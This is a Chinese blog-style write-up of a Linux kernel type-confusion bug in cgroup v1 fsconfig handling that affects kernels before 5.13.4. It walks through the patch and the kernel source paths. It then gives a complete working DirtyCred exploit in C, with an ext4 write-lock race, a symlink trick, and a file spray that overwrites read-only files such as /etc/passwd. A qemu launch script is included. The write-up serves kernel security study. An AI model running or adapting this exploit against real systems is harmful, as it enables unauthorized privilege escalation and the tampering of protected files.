影响版本

linux kernel version < v5.13.4

测试环境

v5.13 config默认

背景

fsconfig

函数原型:

1
2
long fsconfig(int fs_fd, unsigned int cmd, const char *key, 
const void *value, int aux);

fs_fd为文件描述符,cmd为操作命令,key为设置操作参数的参数名称,value为操作参数值,aux提供有关该值的更多信息。

常用cmd参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(*) FSCONFIG_SET_FLAG:未指定值。该参数本质上必须是
布尔值。密钥可以以“no”为前缀来反转
环境。value 必须为 NULL,aux 必须为 0。

(*) FSCONFIG_SET_STRING:指定了字符串值。该参数可以
是布尔值、整数、字符串或采用路径。将尝试转换为
适当的类型(可能包括查找
路径)。value 指向以 NUL 结尾的字符串,aux 必须为 0。

(*) FSCONFIG_SET_BINARY:指定二进制 blob。value 指向
blob,aux 指示其大小。该参数必须期待
一个 blob。

(*) FSCONFIG_SET_PATH:指定了一个非空路径。该参数必须
期待路径对象。value 指向一个以 NUL 结尾的字符串
那是路径,aux 是一个文件描述符,从这里开始
相对查找或 AT_FDCWD。

(*) FSCONFIG_SET_PATH_EMPTY:与 fsconfig_set_path 相同,但
隐含了 AT_EMPTY_PATH。

(*) FSCONFIG_SET_FD:指定了一个打开的文件描述符。value 必须
为 NULL,aux 表示文件描述符。

(*) FSCONFIG_CMD_CREATE:触发超级块创建。

(*) FSCONFIG_CMD_RECONFIGURE:触发超级块重新配置。

用法示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    fd = fsopen("ext4", FSOPEN_CLOEXEC);
fsconfig(fd, fsconfig_set_path, "source", "/dev/sda1", AT_FDCWD);
fsconfig(fd, fsconfig_set_path_empty, "journal_path", "", journal_fd);
fsconfig(fd, fsconfig_set_fd, "journal_fd", "", journal_fd);
fsconfig(fd, fsconfig_set_flag, "user_xattr", NULL, 0);
fsconfig(fd, fsconfig_set_flag, "noacl", NULL, 0);
fsconfig(fd, fsconfig_set_string, "sb", "1", 0);
fsconfig(fd, fsconfig_set_string, "errors", "continue", 0);
fsconfig(fd, fsconfig_set_string, "data", "journal", 0);
fsconfig(fd, fsconfig_set_string, "context", "unconfined_u:...", 0);
fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);
or
fd = fsopen("ext4", FSOPEN_CLOEXEC);
fsconfig(fd, fsconfig_set_string, "source", "/dev/sda1", 0);
fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);
or
fd = fsopen("afs", FSOPEN_CLOEXEC);
fsconfig(fd, fsconfig_set_string, "source", "#grand.central.org:root.cell", 0);
fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);
or
fd = fsopen("jffs2", FSOPEN_CLOEXEC);
fsconfig(fd, fsconfig_set_string, "source", "mtd0", 0);
fsconfig(fd, fsconfig_cmd_create, NULL, NULL, 0);
mfd = fsmount(fd, FSMOUNT_CLOEXEC, MS_NOEXEC);

漏洞修复

查看patch

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/kernel/cgroup/cgroup-v1.c b/kernel/cgroup/cgroup-v1.c
index ee93b6e895874..527917c0b30be 100644
--- a/kernel/cgroup/cgroup-v1.c
+++ b/kernel/cgroup/cgroup-v1.c
@@ -912,6 +912,8 @@ int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {
+ if (param->type != fs_value_is_string)
+ return invalf(fc, "Non-string source");
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;

增加了一条类型判断

当我们执行fsconfig用source去处理fd的时候,会失败

image-20221212180808299

POC

1
2
3
4
int fscontext_fd = fsopen("cgroup");
int fd_null = open("/dev/null, O_RDONLY);
int fsconfig(fscontext_fd, FSCONFIG_SET_FD, "source", fd_null);
close_range(3, ~0U, 0);

漏洞分析

fsconfig定义于 /fs/fsopen.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {//注意,由于参数类型只可能是一种所以用了union
//既然是union,故取param->string和param->name的值是一样的
char *string;
void *blob;
struct filename *name;
struct file *file;
};
size_t size;
int dirfd;
};//此结构体用于存储fsconfig的参数

//此函数主要是对参数进行处理,放入fs_parameter中
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;

struct fs_parameter param = {
.type = fs_value_is_undefined,
};
switch (cmd) {
case FSCONFIG_SET_FD:
if (!_key || _value || aux < 0)
return -EINVAL;
break
...
}
f = fdget(fd);
fc = f.file->private_data;
...
switch (cmd) {
...
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;//设置参数type为string
param.string = strndup_user(_value, 256);//设置string
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);
break;
case FSCONFIG_SET_FD:
param.type = fs_value_is_file;//设置参数type为file
ret = -EBADF;
param.file = fget(aux);//设置file
if (!param.file)
goto out_key;
...
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, &param);//调用vfs_fsconfig_locked
mutex_unlock(&fc->uapi_mutex);
}
...
}

vfs_fsconfig_locked

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int vfs_fsconfig_locked(struct fs_context *fc, int cmd,
struct fs_parameter *param)
{
struct super_block *sb;
int ret;

ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {//我们传入的是FSCONFIG_SET_FD
case FSCONFIG_CMD_CREATE:
...
case FSCONFIG_CMD_RECONFIGURE:
...
default://除了 FSCONFIG_CMD_CREATE 和 FSCONFIG_CMD_RECONFIGURE以外,都会走这里
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);//进入vfs_parse_fs_param
}
...
}

vfs_parse_fs_param

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/*
将单个参数添加到超级块配置
* @fc: 要修改的文件系统上下文
* @param: 参数
*/

static const struct fs_context_operations cgroup1_fs_context_ops = {
.free = cgroup_fs_context_free,
.parse_param = cgroup1_parse_param,
.get_tree = cgroup1_get_tree,
.reconfigure = cgroup1_reconfigure,
};//此结构体存访操作函数的地址


int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

if (!param->key)
return invalf(fc, "Unnamed parameter\n");

ret = vfs_parse_sb_flag(fc, param->key);
if (ret != -ENOPARAM)
return ret;

ret = security_fs_context_parse_param(fc, param);
if (ret != -ENOPARAM)
/* Param belongs to the LSM or is disallowed by the LSM; so
* don't pass to the FS.
*/
return ret;

if (fc->ops->parse_param) {//虚表有函数
ret = fc->ops->parse_param(fc, param);//调用相应的cgroup1_parse_param()
if (ret != -ENOPARAM)
return ret;
}
...
}

cgroup1_parse_param

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//此函数为解析param参数
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct cgroup_fs_context *ctx = cgroup_fc2context(fc);
struct cgroup_subsys *ss;
struct fs_parse_result result;
int opt, i;

opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) {//我们key为“source”,进入这里
if (fc->source)
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;//漏洞点,没有对param->type进行检查
//正常来说这里确实是string,但如果我们传入的是FSCONFIG_SET_FD,“source”同样也能指定一个文件描述符,而param->string和param->file是一个union,这里的赋值有可能就是param->file了。
param->string = NULL;
return 0;
}
for_each_subsys(ss, i) {
if (strcmp(param->key, ss->legacy_name))
continue;
if (!cgroup_ssid_enabled(i) || cgroup1_ssid_disabled(i))
return invalfc(fc, "Disabled controller '%s'",
param->key);
ctx->subsys_mask |= (1 << i);
return 0;
}
return invalfc(fc, "Unknown subsys name '%s'", param->key);
}
...
}

漏洞利用

通过漏洞,我们可以将一个file赋值给fc->source,如何利用呢?

关注一些 struct fs_context相关的函数,如释放:fscontext_release()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int fscontext_release(struct inode *inode, struct file *file)
{
struct fs_context *fc = file->private_data;

if (fc) {
file->private_data = NULL;
put_fs_context(fc);//调用put_fs_context ,释放struct fs_context
}
return 0;
}

const struct file_operations fscontext_fops = {
.read = fscontext_read,
.release = fscontext_release,
.llseek = no_llseek,
};

释放函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void put_fs_context(struct fs_context *fc)
{
struct super_block *sb;

if (fc->root) {
sb = fc->root->d_sb;
dput(fc->root);
fc->root = NULL;
deactivate_super(sb);
}

if (fc->need_free && fc->ops && fc->ops->free)
fc->ops->free(fc);

security_free_mnt_opts(&fc->security);
put_net(fc->net_ns);
put_user_ns(fc->user_ns);
put_cred(fc->cred);
put_fc_log(fc);
put_filesystem(fc->fs_type);
kfree(fc->source);//调用kfree
kfree(fc);
}

可以看到最终的 kfree使用到了fc->source,既然是free,我们就可以以此造出UAF的利用了

在这里浅提一下打开的文件结构存储:

Linux 文件描述符 fd 究竟是什么?_java_06

每个进程用一个 files_struct 结构来记录文件描述符的使用情况,这个 files_struct 结构称为用户打开文件表,它是进程的私有数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

struct files_struct
{
atomic_t count; /* 共享该表的进程数 */
rwlock_t file_lock; /* 保护以下的所有域,以免在tsk->alloc_lock中的嵌套*/
int max_fds; /*当前文件对象的最大数*/
int max_fdset; /*当前文件描述符的最大数*/
int next_fd;
/*已分配的文件描述符加1 */
struct file **fd; /* 指向文件对象指针数组的指针 */
fd_set *close_on_exec; /*指向执行exec( )时需要关闭的文件描述符*/
fd_set *open_fds; /*指向打开文件描述符的指针*/
fd_set close_on_exec_init; /* 执行exec( )时需要关闭的文件描述符的初 值集合*/
fd_set open_fds_init; /*文件描述符的初值集合*/
struct file *fd_array[32]; /* 文件对象指针的初始化数组*/
};

文件描述符fd的本质就是struct file **fd的索引,用来查找stuct file(该结构用于描述一个打开的文件)

假设我们已经打开了一个文件,获得其描述符fd,我们利用这个漏洞,free掉我们打开的file,此时我们的fd仍然指向该file,也就是指向了一个被释放的位置,实现了UAF,如果我们打开别的文件,就有可能申请一个新的file结构体到这个被释放的位置,从而替换了file,也就类似DirtyCred中替换内核凭证对象的想法。

本着来学习dirtycred利用的想法,试一下

dirtycred的细节不在这里提了,因为是5.13,userfaultfd默认禁用了,所以考虑使用文件系统锁的特性来实现延长时间窗口

为了确保同步,文件系统不允许两个进程同时写入一个文件,通过锁机制实现。

ext4文件系统执行写入操作的简化代码:

image-20221209132434460

image-20221209132407552

可以看到第六行开始尝试请求索引节点锁,如果别人持有锁就要一直等待锁被释放。尽管它确实实现了写操作的同步,但也给dirtycred留下了延长时间窗口执行对象交换的时间。

具体的:

DirtyCred可以生成两个进程AB,这两个进程同时向一个文件写入数据,假如进程A持有锁,并写入大量数据,此时进程B不得不等待较长时间,直至锁被释放。然而在调用generic_perform_write()函数之前,进程B已经完成了文件权限的检查,锁等待的时间完全足以我们来完成文件对象交换。根据论文的数据,将4GB写入硬盘时,过程大概需要几十秒的时间,在这个时间内,就可以完成出发漏洞和执行内存操作,而不会在利用过程中引发任何不稳定的问题。

还是看一下源码吧,毕竟一开始只是看了论文里的图🤐

ext4 writev写流程

writev系统调用底层会使用到do_writev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,
unsigned long vlen, rwf_t flags)
{
struct fd f = fdget_pos(fd);//*
ssize_t ret = -EBADF;

if (f.file) {
loff_t pos, *ppos = file_ppos(f.file);
if (ppos) {
pos = *ppos;
ppos = &pos;
}
ret = vfs_writev(f.file, vec, vlen, ppos, flags);//主要的写函数
if (ret >= 0 && ppos)
f.file->f_pos = pos;
fdput_pos(f);
}

if (ret > 0)
add_wchar(current, ret);
inc_syscw(current);
return ret;
}

比较需要注意的是fdget_pos函数

这里是看了 @bsause 师傅的文章才知道的,之前写exp的时候一直没注意到

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned long __fdget_pos(unsigned int fd)
{
unsigned long v = __fdget(fd);
struct file *file = (struct file *)(v & ~3);

if (file && (file->f_mode & FMODE_ATOMIC_POS)) {
if (file_count(file) > 1) {
v |= FDPUT_POS_UNLOCK;
mutex_lock(&file->f_pos_lock);//互斥锁
}
}
return v;
}

当我们设置了 FMODE_ATOMIC_POS 时,如果 file_count(file) >1 ,就会去竞争互斥锁。我们需要至少两个线程去打开同一个文件,count无疑是>1的。如果在这里stuck,就无法达到我们想要的利用的,因为此时还未进行权限检查,恶意线程stuck在这里毫无意义。所以我们需要去掉 FMODE_ATOMIC_POS 位来避免这种情况。

当我们打开一个文件时,open函数会最终调用到 do_dentry_open

该函数中有这样一句判断

1
2
3
4
5
/* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;

f->f_op = fops_get(inode->i_fop);

只要是常规的文件或者目录(reg/dir ),都会设置该 FMODE_ATOMIC_POS

查阅man手册,看看还有什么 i_mode 类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POSIX refers to the stat.st_mode bits corresponding to the mask
S_IFMT (see below) as the file type, the 12 bits corresponding to
the mask 07777 as the file mode bits and the least significant 9
bits (0777) as the file permission bits.

The following mask values are defined for the file type:

S_IFMT 0170000 bit mask for the file type bit field

S_IFSOCK 0140000 socket
S_IFLNK 0120000 symbolic link
S_IFREG 0100000 regular file
S_IFBLK 0060000 block device
S_IFDIR 0040000 directory
S_IFCHR 0020000 character device
S_IFIFO 0010000 FIFO


里面还有管道,链接,sock,字符设备等类型,这里我们选用链接类型,只要创建一个我们想要open的文件的符号链接,去打开这个符号链接文件就不会设置 FMODE_ATOMIC_POS,从而避免了__fdget_pos处的阻塞等待

vfs_writev 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static ssize_t vfs_writev(struct file *file, const struct iovec __user *vec,
unsigned long vlen, loff_t *pos, rwf_t flags)
{
struct iovec iovstack[UIO_FASTIOV];
struct iovec *iov = iovstack;
struct iov_iter iter;
ssize_t ret;

ret = import_iovec(WRITE, vec, vlen, ARRAY_SIZE(iovstack), &iov, &iter);
//此函数从用户空间拷贝iovec到内核空间,判断是否合法等
if (ret >= 0) {
file_start_write(file);
ret = do_iter_write(file, &iter, pos, flags);
file_end_write(file);
kfree(iov);
}
return ret;
}

file_start_write内部会调用__sb_end_write

1
2
3
4
static inline void __sb_end_write(struct super_block *sb, int level)
{
percpu_up_read(sb->s_writers.rw_sem + level-1);
}

而file_end_write 也会调用__sb_end_write

1
2
3
4
5
6
static inline void file_end_write(struct file *file)
{
if (!S_ISREG(file_inode(file)->i_mode))
return;
__sb_end_write(file_inode(file)->i_sb, SB_FREEZE_WRITE);
}

这两个函数应该是对读写信号量进行的操作

do_iter_write进行实际的写操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static ssize_t do_iter_write(struct file *file, struct iov_iter *iter,
loff_t *pos, rwf_t flags)
{
size_t tot_len;
ssize_t ret = 0;

if (!(file->f_mode & FMODE_WRITE))//检查权限
return -EBADF;
if (!(file->f_mode & FMODE_CAN_WRITE))//检查权限
return -EINVAL;

tot_len = iov_iter_count(iter);
if (!tot_len)
return 0;
ret = rw_verify_area(WRITE, file, pos, tot_len);
if (ret < 0)
return ret;

if (file->f_op->write_iter)//调用file中对应的写操作(与文件系统相关)
ret = do_iter_readv_writev(file, iter, pos, WRITE, flags);
else
ret = do_loop_readv_writev(file, iter, pos, WRITE, flags);
if (ret > 0)
fsnotify_modify(file);
return ret;
}

接下来走文件系统提供的写操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static ssize_t ext4_buffered_write_iter(struct kiocb *iocb,
struct iov_iter *from)
{
ssize_t ret;
struct inode *inode = file_inode(iocb->ki_filp);

if (iocb->ki_flags & IOCB_NOWAIT)
return -EOPNOTSUPP;

ext4_fc_start_update(inode);
inode_lock(inode);//加锁
ret = ext4_write_checks(iocb, from);
if (ret <= 0)
goto out;

current->backing_dev_info = inode_to_bdi(inode);
ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos);
current->backing_dev_info = NULL;

out:
inode_unlock(inode);//解锁
ext4_fc_stop_update(inode);
if (likely(ret > 0)) {
iocb->ki_pos += ret;
ret = generic_write_sync(iocb, ret);
}

return ret;
}

检查权限在写之前,因此大量写入数据是可以实现stuck的,然后另一个线程就可以偷偷触发漏洞,同时又能通过权限检查。

*记得得用ext4文件系统,自己制作一下 至于别的文件系统,🤒,俺也还不会

我们一共需要3个线程(因为stuct file 对进程而言是独立的,线程才会共用stuct file)

  • 一个线程A用来执行大量写入数据的文件操作
  • 线程B也近乎同时以可写权限打开该文件,执行写操作
  • 线程B要写入的数据是evildata,也就是恶意数据
  • 线程B完成权限检查,但此时仍需等待进程A释放锁,故进程B在阻塞。
  • 线程C触发漏洞,释放已经打开的文件的struct file
  • 线程C多次打开只读的文件(攻击目标,如/etc/passwd,我简易的文件系统没有这玩意,所以搞了个只读的flag),堆喷大量的struct file 结构体
  • 原先的struct file结构体被我们想攻击的文件覆盖
  • 线程A写入完成,线程B写入,此时写入的目标是我们想攻击的目标
  • 完成写入。

好,开始瞎几把编写exp

exp

run.sh

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-m 4096M \
-kernel ./bzImage \
-hda ../rootfs.img \
-append "console=ttyS0 root=/dev/sda rw oops=panic panic=1 kaslr log_level=1 init=/init" \
-nographic \
-smp cores=2,threads=4 \
-monitor /dev/null 2>/dev/null \
-no-reboot

exp.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#define _GNU_SOURCE


#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <assert.h>
#include <pthread.h>
#include <sys/uio.h>

#include <linux/bpf.h>
#include <linux/kcmp.h>

#include <linux/capability.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define MAX_FILE_NUM 0x500
int uaf_fd;
int fds[MAX_FILE_NUM];



void errorinfo(char *s) {
puts(s);
exit(1);
}


void use_temporary_dir(void) {
system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data");
char *tmpdir = "exp_dir";
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}

/*********************************************** exp ****************************************************/

void *huge_write() {
puts("[*] huge_write thread start ...");
struct iovec iov[5];
int fd = open("./uaf", O_RDWR);
if (fd < 0) {
errorinfo("[x] open failed!");
}
size_t size = 0x40000000;
size_t addr = 0x30000000;
size_t offset;
for (offset = 0; offset < 0x40000; offset++) {
void *area = (void *)mmap((void*)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (area < 0) {
errorinfo("[x] mmap failed!");
}
}
void *mem = (void *)addr;
printf("[+] mmap total 0x%lx area\n", offset * 0x1000);
memcpy(mem, "1111111", 7);
for (int i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}
if (writev(fd, iov, 5) < 0) {
errorinfo("[x] huge write failed!");
}
puts("[+] huge write done!");
}


void *evil_write() {
sleep(1);
puts("[*] evil_write thread start ...");
struct iovec iov;
char buf[0x100];
strcpy(buf, "Dirty Cred Success!");
iov.iov_base = buf;
iov.iov_len = strlen(buf);
if (writev(uaf_fd, &iov, 1) < 0) {
errorinfo("[x] evil write failed!");
}
puts("[+] evil overwrite done!");
}


void spray_files() {
int found = 0;
printf("[+] got uaf_fd %d ,start spary ...\n", uaf_fd);
for (int i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open("/flag", O_RDONLY);
if (fds[i] < 0) {
printf("%d\n",errno);
errorinfo("[x] open sparyfiles failed!");
}
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) {
found = 1;
printf("[+] found file id : %d\n", i);
// for (int j = 0; j < i; j++)
// close(fds[j]);
break;
}
}
if (found) {
puts("[*] waiting for evile write ...");
sleep(5);
}
}

void runexp(){
pthread_t p_id1, p_id2;
int fs_fd;
fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0) {
printf("%d\n", errno);
errorinfo("[x] fsopen failed!");
}
puts("[*] running exp ...");
symlink("./data", "./uaf");
uaf_fd = open("./uaf", O_RDWR);
if (uaf_fd < 0) {
printf("%d\n", errno);
errorinfo("[x] open symbolic uaf_fd failed!");
}
if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
errorinfo("[x] fsconfig error!");
}
pthread_create(&p_id1, NULL, huge_write, NULL);
pthread_create(&p_id2, NULL, evil_write, NULL);
sleep(2.5);
close(fs_fd);
puts("[+] uaf_fd has been freed!");
spray_files();
}


/******************************************** sandbox *****************************************/

bool write_file(const char *file, const char *what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}


__attribute__((aligned(64 << 10))) static char sandbox_stack[1 << 20];

void sandbox_common() {
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setsid(); // 调用 setsid() 后 namespace_sandbox_proc() 子进程不受终端影响,终端退出,不影响子进程继续运行
struct rlimit rlim; // setrlimit() - https://blog.csdn.net/sinat_38816924/article/details/122241661
rlim.rlim_cur = rlim.rlim_max = (200 << 20);
setrlimit(RLIMIT_AS, &rlim); // 进程的虚拟内存(地址空间)的最大大小
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim); // 锁定到RAM中的最大内存字节数
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim); // 该进程可能创建的文件的最大大小(以字节为单位)
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim); // 最大的进程堆栈,以字节为单位
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim); // 内核转存文件的最大长度
rlim.rlim_cur = rlim.rlim_max = 256;
setrlimit(RLIMIT_NOFILE, &rlim); // 指定比进程可打开的最大文件描述符数量,超出此值,将会产生EMFILE错误
if (unshare(CLONE_NEWNS)) { // unshare() - https://man7.org/linux/man-pages/man2/unshare.2.html
} // CLONE_NEWNS - the calling process has a private copy of its namespace which is not shared with any other process
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
}
if (unshare(CLONE_NEWIPC)) { // CLONE_NEWIPC - the calling process has a private copy of the IPC namespace which is not shared with any other process
}
if (unshare(0x02000000)) {
}
if (unshare(CLONE_NEWUTS)) { // CLONE_NEWUTS - the calling process has a private copy of the UTS namespace which is not shared with any other process
}
if (unshare(CLONE_SYSVSEM)) { // CLONE_SYSVSEM - the calling process has a new empty semadj list that is not shared with any other process
}
typedef struct {
const char *name;
const char *value;
} sysctl_t;
static const sysctl_t sysctls[] = {
{"/proc/sys/kernel/shmmax", "16777216"}, // 定义单个共享内存段的最大值 https://blog.csdn.net/shmily_lsl/article/details/103384366
{"/proc/sys/kernel/shmall", "536870912"}, // 控制可以使用的共享内存的总页数
{"/proc/sys/kernel/shmmni", "1024"}, // 设置系统范围内共享内存段的最大数量。该参数的默认值是 4096
{"/proc/sys/kernel/msgmax", "8192"}, // 一个消息的字节大小
{"/proc/sys/kernel/msgmni", "1024"}, // 系统范围内的消息队列上限
{"/proc/sys/kernel/msgmnb", "1024"}, // 一个消息队列的容量,最大字节数
{"/proc/sys/kernel/sem", "1024 1048576 500 1024"}, // 每个信号集中的最大信号量数目; 系统范围内的最大信号量总数目; 每个信号发生时的最大系统操作数目; 系统范围内的最大信号集总数目
};
unsigned i;
for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
write_file(sysctls[i].name, sysctls[i].value);
}


int namespace_sandbox_proc() {
sandbox_common();
runexp();
}

int do_sandbox_namespace(){
mprotect(sandbox_stack, 4096, PROT_NONE);
int pid = clone(namespace_sandbox_proc, &sandbox_stack[sizeof(sandbox_stack) - 64],
CLONE_NEWUSER | CLONE_NEWPID, 0);
}



int main(int argc, char const *argv[]) {
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul); // void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
use_temporary_dir();
do_sandbox_namespace();
return 0;
}

运行结果:

image-20221212180457880

参考资料

http://kernsec.org/pipermail/linux-security-module-archive/2019-February/011442.html

https://github.com/Markakd/CVE-2021-4154/blob/master/exp.c

https://blog.51cto.com/u_15127661/2784600

https://bsauce.github.io/2022/10/17/CVE-2021-4154/#3-3-%E5%88%A9%E7%94%A8-pipe_buffer-%E7%BB%95%E8%BF%87kaslr%E5%B9%B6%E5%8A%AB%E6%8C%81%E6%8E%A7%E5%88%B6%E6%B5%81

https://blog.csdn.net/Breeze_CAT/article/details/127325236